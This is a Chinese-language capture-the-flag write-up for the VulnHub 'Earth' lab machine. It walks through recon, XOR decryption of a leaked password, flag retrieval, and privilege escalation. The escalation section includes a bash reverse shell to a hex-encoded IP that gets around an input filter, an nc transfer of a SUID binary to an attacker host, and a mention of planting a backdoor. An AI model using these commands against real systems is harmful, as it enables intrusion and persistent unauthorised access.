VulnHub-Earth 打靶记录
VulnHub-Earth 打靶记录
搭建靶场的时候一定要使用NATserver或者其他有虚拟网关的网络模式否则无法扫描到端口开放也无法访问。
知识点
- NMAP参数
-sV
获取系统信息-sT
TCP扫描可能会留下日志记录-sC
使用默认脚本(在-A模式下不需要)-p1-xxx
扫描端口号-p-
==>等价于-p1-65535
不设置端口就扫描默认端口-Pn
绕过禁用ping-A
进攻性扫描也会运行默认脚本)
- arp-scan arp利用arp地址解析协议探测扫描
- -I 大写i 用以指定用来扫描的网卡 如果未指定会使用网卡序号最低的一个 也就是eth0但是如果指定 那么指定的网卡必须支持ARP
- -l 小写L 表示从网络接口的ip和掩码生成列表进行扫描
- dirb 目录扫描 直接dirb https://target.com
- -i 使用不区分大小写
- -l 小写L 扫描到信息后本地打印 没有这个选项
目标探测
arp-scan -I eth0 -l
#利用arp扫描eth0网卡所在局域网中所有存活的主机 根据得到的信息进行筛选获取目标ipnmap -sV -Pn -sT -sC target-ip
对目标进行端口探测扫描 如果没有结果可以尝试全端口扫描- Subject Alternative Name: DNS:earth.local, DNS:terratest.earth.local 根据本行信息发现目标使用了dns解析 只能在本地hosts中写上解析
信息收集
-
dirb https://earth.local
&dirb https://terratest.earth.local/
使用dirb扫描web应用目录 需要注意的是这里扫描要扫描https协议下的因为上一步的nmap扫描出来的应用是443端口也就是https协议所以这里也要用https -
在扫描https://terratest.earth.local/时发现该域名下有个robots.txt泄露 进去发现有一个(Disallow: /testingnotes.*) 代表有这个名字的文件 更换后缀名可以得到后缀txt页面下有一个说明文件 其中泄露的信息 包括管理员用户名terra 并且第三行泄露了一个用以加密的文件 以及加密的算法为XOR
-
利用python代码进行异或运算获取16进制字符串 并进行解密
#coding:utf-8 import base64 import binascii data1 = "2402111b1a0705070a41000a431a000a0e0a0f04104601164d050f070c0f15540d1018000000000c0c06410f0901420e105c0d074d04181a01041c170d4f4c2c0c13000d430e0e1c0a0006410b420d074d55404645031b18040a03074d181104111b410f000a4c41335d1c1d040f4e070d04521201111f1d4d031d090f010e00471c07001647481a0b412b1217151a531b4304001e151b171a4441020e030741054418100c130b1745081c541c0b0949020211040d1b410f090142030153091b4d150153040714110b174c2c0c13000d441b410f13080d12145c0d0708410f1d014101011a050d0a084d540906090507090242150b141c1d08411e010a0d1b120d110d1d040e1a450c0e410f090407130b5601164d00001749411e151c061e454d0011170c0a080d470a1006055a010600124053360e1f1148040906010e130c00090d4e02130b05015a0b104d0800170c0213000d104c1d050000450f01070b47080318445c090308410f010c12171a48021f49080006091a48001d47514c50445601190108011d451817151a104c080a0e5a" #data1中的数据为https://earth.local页面中最下面一行数据的内容 如果不确定是哪个可以都试试 只有这个数据可以异或出来有效数据 f = binascii.b2a_hex(open('testdata.txt', 'rb').read()).decode() #(open('a.txt', 'rb') rb参数表示获取到的是 testdata.txt中内容的16进制 其整体结果为2进制的表现形式。testdata.txt(需要把这个文件和脚本文件放在同一目录下) 是上一步扫描获取到的信息 可以复制出来 也可以 使用命令:wget https://terratest.earth.local/testdata.txt --no-check-certificate #binascii.b2a_hex 把二进制形式的16进制字符串转换为16进制的形式 res=hex(int(data1,16) ^ int(f,16)) #&与 |或 ^异或 ~非 >>右移 <<左移 异或的时候需要知道必须要与加密文件大小相同 print(res) #输出异或运算后的16进制字符串
-
将获取到的16进制字符串进行字符转换(在线解密工具) 分析内容对以下字符串进行了多次重复输出
earthclimatechangebad4humans
根据上一步泄露的testingnotes.txt文档中信息猜测为密码
Shell反弹&信息二次收集
- 使用收集到的信息进行后台登录(user:terra passwd:earthclimatechangebad4humans)登录地址为信息收集页面发现的admin页面尝试登录网站并成功后发现是一个 命令执行的界面
- 执行命令
find / -name "\*flag\*"
在所有的内容中锁定user_flag.txt为可疑文件
cat 获取flag - cat /var/earth_web/user_flag.txt 获取文件内容
[user_flag_3353b67d6437f07ba7d34afd7d2fc27d]
提权
-
反弹 shell 由于无法用nc反弹成功考虑用bash反弹 发现依旧反弹失败
经测试可能过滤了IP尝试使用十六进制格式的ip地址绕过(其实在/var/earth_web/secure_message/forms.py 中可以发现过滤代码 )
bash -i >& /dev/tcp/0X0a000304/5566 0>&1
( 由于过滤了IP的格式改为16进制 转换地址 ) -
由于反弹的shell权限不是root。
尝试利用命令继续查找有执行权限的命令 find / -perm -u=s -type f 2>/dev/null -
发现有一个reset_root 命令猜测意思是重置root 用strings命令打印文件中可打印的字符 看了后发现跟没看一样 尝试运行 报错
-
用以下命令将文件上传到本地环境下
攻击机:nc -nlvp 1234 >reset_root
靶机shell:nc 192.168.43.118 1234 < /usr/bin/reset_root -
chmod 777 reset_root 给个权限
-
strace reset_root 解析运行看结果(在执行nc -nlvp 1234 >reset_root 命令的目录下)本地运行 继续报错 提示缺少 三个文件
-
在靶机shell上创建这三个文件后
touch /dev/shm/kHgTFI5G touch /dev/shm/Zw7bV9U5 touch/tmp/kcM0Wewe -
继续运行 ./reset_root
-
提示密码重置为Earth了
-
------->至此获得root权限。
权限维持
上传后门木马即可获得权限维持。